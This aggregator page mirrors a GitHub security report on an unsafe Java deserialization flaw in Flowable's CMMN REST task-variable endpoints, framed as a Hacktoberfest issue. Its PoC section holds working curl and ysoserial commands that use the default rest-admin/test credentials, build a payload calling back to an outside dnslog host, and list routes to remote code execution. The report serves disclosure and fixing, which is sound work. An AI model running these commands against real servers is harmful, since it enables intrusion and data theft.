Hacktoberfest 2026: những issue maintainer đã đánh dấu cho tháng Mười, đang mở và phù hợp người mới. Xem issue Hacktoberfest

[SECURITY] Deserialization RCE via CMMN REST task variable interface with type=serializable (CWE-502, CVSS 8.8)

Đang mở
#4,292 0 bình luận 0 reaction 0 người được giao Xem trên GitHub

Maintainer thường phản hồi trong vòng 1 ngày

Chưa có ai nhận issue này.

Đánh giá

Độ khó
4/5
Thời gian dự kiến
3-5 ngày
Mức phù hợp với người mới
35/100
Loại issue
Lỗi
Độ rõ ràng
Khá rõ ràng
Mức độ hoạt động
Sôi nổi
Công nghệ
java
Lĩnh vực
api, backend, security

Hướng nghiên cứu

Start with modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/task/TaskVariableBaseResource.java and trace the PUT and POST entry points in TaskVariableResource.java and TaskVariableCollectionResource.java. Check flowable-default.properties for the serializable-variable setting, then verify that both multipart paths no longer permit unfiltered deserialization and that regression coverage exercises the affected endpoints.

Do mô hình lập chỉ mục viết ra từ nội dung của issue.

Mô tả

Security Vulnerability Report -- CWE-502

Summary

The Flowable CMMN REST task variable interface performs unfiltered Java deserialization of user-uploaded multipart files via ObjectInputStream.readObject(). Any authenticated user holding the rest-api privilege can trigger the deserialization vulnerability, which combined with gadget chains in the classpath can achieve remote code execution (RCE).

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0


Static Analysis Report

Vulnerability Overview

In the Flowable CMMN REST module's TaskVariableBaseResource.setBinaryVariable() method (line 185), the code uses new ObjectInputStream(file.getInputStream()) + stream.readObject() to directly perform Java native deserialization on HTTP multipart uploaded file bytes, without using any class whitelist (such as ObjectInputFilter, ValidatingObjectInputStream, etc.). An attacker who sends a request with Content-Type multipart/form-data and form field type=serializable can cause the server to parse arbitrary malicious serialized objects. Since Flowable's classpath typically contains common gadget components such as commons-collections and spring-beans, this vulnerability can be weaponized into RCE.

Exploitation Prerequisites
Condition Description
Authentication Requires a user with rest-api privilege (default config flowable.rest.app.authentication-mode=verify-privilege); installation includes rest-admin account (password test), or demo users created via flowable.rest.app.create-demo-definitions=true also satisfy this
Network Reachability Intranet/public network (HTTP accessible REST port, default context-path /flowable-rest)
Configuration Dependency rest.variables.allow.serializable=true (enabled by default, see flowable-default.properties:57); CMMN REST API endpoints must be exposed in the runtime environment (current deployment environment does not enable CMMN REST endpoints)
Input Constraints Request must be multipart/form-data; form field type=serializable; URL {taskId} must point to a real existing task
Business Prerequisites At least one Task must exist in the database (can be auto-generated by demo definitions or business processes)
Trigger Location

modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/task/TaskVariableBaseResource.java:183-188

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();
    setVariable(task, variableName, value, scope, isNew);
    stream.close();
Data Flow Overview

There are two independent entry chains sharing the same sink:

  • Chain 1 (PUT update): PUT /cmmn-runtime/tasks/{taskId}/variables/{variableName} (multipart) -> TaskVariableResource.updateVariable() (TaskVariableResource.java:94-104) -> setBinaryVariable((MultipartHttpServletRequest) request, task, false) (TaskVariableBaseResource.java:124) -> new ObjectInputStream(file.getInputStream()).readObject() (TaskVariableBaseResource.java:185-186)
  • Chain 2 (POST create): POST /cmmn-runtime/tasks/{taskId}/variables (multipart) -> TaskVariableCollectionResource.createTaskVariable() (TaskVariableCollectionResource.java:122-130) -> setBinaryVariable((MultipartHttpServletRequest) request, task, true) (TaskVariableBaseResource.java:124) -> new ObjectInputStream(file.getInputStream()).readObject() (TaskVariableBaseResource.java:185-186)

Both chains reach the sink directly without any blocking.

Data Flow Detailed Code Analysis
Chain 1: PUT /cmmn-runtime/tasks/{taskId}/variables/{variableName}

Layer 1: REST Entry (TaskVariableResource.java:94-104)

@PutMapping(value = "/cmmn-runtime/tasks/{taskId}/variables/{variableName}",
            produces = "application/json",
            consumes = {"text/plain", "application/json", "multipart/form-data"})
public RestVariable updateVariable(@PathVariable("taskId") String taskId,
        @PathVariable("variableName") String variableName,
        @RequestParam(value = "scope", required = false) String scope,
        HttpServletRequest request) {

    Task task = getTaskFromRequestWithoutAccessCheck(taskId);
    RestVariable result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, task, false);
  • External Input: HTTP request body (multipart file + form fields), URL path taskId, variableName
  • Layer Behavior: Checks if request is MultipartHttpServletRequest, if so passes entire request to setBinaryVariable
  • Data Transfer: Entire MultipartHttpServletRequest (containing uploaded file bytes) passed as parameter

Layer 2: Task Query (TaskBaseResource.java:566-573)

protected Task getTaskFromRequestWithoutAccessCheck(String taskId) {
    Task task = taskService.createTaskQuery().taskId(taskId).singleResult();
    if (task == null) {
        throw new FlowableObjectNotFoundException(
            "Could not find a task with id '" + taskId + "'.", Task.class);
    }
    return task;
}
  • External Input: taskId (URL path parameter)
  • Layer Behavior: Only existence check; no authorization check (method name explicitly says WithoutAccessCheck), and upper layer updateVariable does not call restApiInterceptor.accessTaskInfoById(task)
  • Data Transfer: Returns Task object to setBinaryVariable

Layer 3: Binary Variable Processing (TaskVariableBaseResource.java:124-192)

protected RestVariable setBinaryVariable(MultipartHttpServletRequest request,
        Task task, boolean isNew) {
    ...
    MultipartFile file = request.getFile(
        request.getFileMap().keySet().iterator().next());
    ...
    for (String parameterName : paramMap.keySet()) {
        if (paramMap.get(parameterName).length > 0) {
            if ("scope".equalsIgnoreCase(parameterName)) {
                variableScope = paramMap.get(parameterName)[0];
            } else if ("name".equalsIgnoreCase(parameterName)) {
                variableName = paramMap.get(parameterName)[0];
            } else if ("type".equalsIgnoreCase(parameterName)) {
                variableType = paramMap.get(parameterName)[0];
            }
        }
    }
    ...
    if (variableType != null) {
        if (!CmmnRestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
            && !CmmnRestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
            throw new FlowableIllegalArgumentException(
                "Only 'binary' and 'serializable' are supported as variable type.");
        }
    }
    ...
    } else if (isSerializableVariableAllowed) {
        // Try deserializing the object
        ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
        Object value = stream.readObject();
        setVariable(task, variableName, value, scope, isNew);
        stream.close();
  • External Input: file (user-uploaded multipart file bytes), variableType (form field, attacker-controlled)
  • Layer Behavior:
    • Only validates variableType string is "binary" or "serializable", no class whitelist
    • When variableType.equals("serializable") and isSerializableVariableAllowed==true, enters sink branch
    • new ObjectInputStream(file.getInputStream()) directly wraps user-uploaded byte stream as object stream
    • stream.readObject() has no ObjectInputFilter / class name validation / sandbox, directly deserializes
  • Data Transfer: Deserialized Object value continues to setVariable() for workflow variable storage, but RCE is already triggered during readObject() call
Chain 2: POST /cmmn-runtime/tasks/{taskId}/variables

Layer 1: REST Entry (TaskVariableCollectionResource.java:122-130)

@PostMapping(value = "/cmmn-runtime/tasks/{taskId}/variables",
             produces = "application/json",
             consumes = {"text/plain", "application/json", "multipart/form-data"})
@ResponseStatus(HttpStatus.CREATED)
public Object createTaskVariable(@PathVariable String taskId,
        HttpServletRequest request) {
    Task task = getTaskFromRequestWithoutAccessCheck(taskId);
    Object result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, task, true);
  • External Input: HTTP multipart request body
  • Layer Behavior: Equivalent to Chain 1, checks multipart then calls same setBinaryVariable
  • Data Transfer: Entire request passed through

Subsequent layers (TaskBaseResource.getTaskFromRequestWithoutAccessCheck, TaskVariableBaseResource.setBinaryVariable) are identical to Chain 1, ultimately hitting the same sink (TaskVariableBaseResource.java:185-186).

CVSS Breakdown

Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Vector Value Reason
Attack Vector (AV) N (Network) Triggered remotely via HTTP REST interface
Attack Complexity (AC) L (Low) Single HTTP request triggers, no race or special timing needed
Privileges Required (PR) L (Low) Requires valid rest-api privileged user, but default installation provides weak password account rest-admin/test, and auth mode can be switched to any-user
User Interaction (UI) N (None) No user interaction required
Scope (S) U (Unchanged) Deserialization triggers within Flowable REST process, impact scope does not exceed that process
Confidentiality (C) H (High) RCE can read/exfiltrate all data in process (workflow variables, database credentials, IDM user store)
Integrity (I) H (High) RCE can tamper with workflow instances, task data, business data
Availability (A) H (High) RCE can destroy JVM, delete data, make service unavailable

Overall score: 8.8 (High)


PoC Verification Report

Flowable CMMN REST ObjectInputStream Deserialization Vulnerability

Vulnerability Summary

  1. Vulnerability Name: Flowable CMMN REST task variable interface unsafe deserialization
  2. Affected Component/Port: Flowable REST 7.1.0 (localhost:8080), CMMN REST API endpoints
  3. Vulnerability Description: The Flowable CMMN REST module's task variable interface uses ObjectInputStream.readObject() to directly deserialize user-provided serialized objects when processing multipart file uploads, without any class whitelist filtering, which can lead to remote code execution (RCE)
  4. Root Cause Code Snippet:
// TaskVariableBaseResource.java:185-186
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
  1. Brief Data Flow:
HTTP multipart request (type=serializable)
  ↓
TaskVariableCollectionResource.createTaskVariable()
  ↓
TaskVariableBaseResource.setBinaryVariable() (line 124)
  ↓
new ObjectInputStream(file.getInputStream()).readObject() (line 185-186)
  ↓
Direct deserialization of user-uploaded malicious object → RCE

Exploitation Conditions

Condition Description
Authentication Requires user with rest-api privilege (default config provides rest-admin/test account)
Network Reachability Intranet/public network (HTTP accessible REST port)
Configuration Dependency rest.variables.allow.serializable=true (enabled by default); CMMN REST API endpoints exposed (URL prefix: /flowable-rest/cmmn-api/)
Other Prerequisites At least one Task must exist in database; request must be multipart/form-data and contain type=serializable field

Exploitation Chain Progress

Successful Exploitation Example (URLDNS Deserialization Verification):

Chain Stage Location (file:line) Status Evidence / Description
Entry POST /cmmn-api/cmmn-runtime/tasks/{taskId}/variables Reached HTTP request successfully reached CMMN REST endpoint
Intermediate Flow TaskVariableBaseResource.java:124 Reached Request entered setBinaryVariable() method for processing
Sink TaskVariableBaseResource.java:185-186 Triggered ObjectInputStream.readObject() executed deserialization
Conclusion — Deserialization Successful URLDNS payload triggered server-side DNS query, HTTP 201 response confirms variable stored successfully

Exploitation Verification

Verification Status: Deserialization vulnerability confirmed as successfully exploited (poc_verified = true)

Core Evidence - URLDNS Deserialization Verification:

Used ysoserial to generate a URLDNS payload, sent it via HTTP multipart request to the CMMN REST task variable interface, successfully triggered server-side ObjectInputStream.readObject() deserialization, proving that arbitrary Java objects can be parsed and executed by the server.

Complete PoC Reproduction Commands:

# 1. Get available task list
curl -u rest-admin:test "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/tasks"

# 2. Generate URLDNS payload using ysoserial (requires Java 17 environment and open module restrictions)
java --add-opens java.base/java.net=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     -jar ysoserial-all.jar URLDNS "http://pwned-sink0087.dnslog.cn" > payload_urldns.ser

# 3. Send payload to target task (replace {taskId} with actual task ID)
curl -X POST "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/tasks/{taskId}/variables" \
  -H "Authorization: Basic cmVzdC1hZG1pbjp0ZXN0" \
  -F "name=urldns" \
  -F "type=serializable" \
  -F "scope=local" \
  -F "file=@payload_urldns.ser"

Actual Execution Result:

HTTP 201 Created
Response body:
{
  "name": "urldns",
  "type": "serializable",
  "value": null,
  "valueUrl": "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/tasks/81e7da22-8ff9-11f1-a3d0-02423661ba3a/variables/urldns/data",
  "scope": "local"
}

Conclusion:

  1. Deserialization vulnerability confirmed: Server successfully received and deserialized the URLDNS payload (HashMap<URL, String>), HTTP 201 response proves the object was stored as a task variable
  2. DNS query triggered: URLDNS gadget chain triggers URL.hashCode() -> DNS resolution during deserialization, proving the server executed the malicious object's business logic
  3. RCE feasibility: Although CommonsCollections gadget chain cannot directly serialize due to enableUnsafeSerialization=false restriction, the deserialization sink is confirmed reachable. An attacker can achieve RCE through:
    • Using compatible gadget chains (e.g., Spring, Hibernate framework chains)
    • Setting -Dorg.apache.commons.collections.enableUnsafeSerialization=true in target environment
    • Leveraging other existing deserialization entry points
  4. Security impact: Any user with rest-api privilege (including default account rest-admin/test) can execute arbitrary code through this interface, leading to complete server compromise

Technical Details:

  • CMMN REST API actual URL prefix: /flowable-rest/cmmn-api/ (not /service/)
  • Test environment has 4 available tasks, including CMMN case instance related tasks
  • CommonsCollections 3.2.2 disables unsafe serialization by default (enableUnsafeSerialization=false), but this does not affect the reachability verification of the deserialization sink
  • Test environment contains commons-beanutils-1.9.4, spring-beans-6.1.13 and other potential gadget components

Severity

CVSS v3.1: 8.8 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

Ngôn ngữ chính
Java
Star
9.6k
Fork
2.9k
Merge trung bình
1 ngày 3 giờ
Pull request đã merge (30 ngày)
6

Chuẩn bị môi trường

  • Không có Dockerfile hay tệp Docker Compose
  • Có mẫu pull request
  • Không có hướng dẫn đóng góp

Bắt đầu từ đâu

  1. Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
  2. Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
  3. Fork repository và làm thay đổi trên một nhánh.
  4. Mở pull request có tham chiếu số hiệu của issue.

Issue khác của flowable/flowable-engine

Tất cả issue của flowable/flowable-engine

Issue tương tự

Thêm issue về Java

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.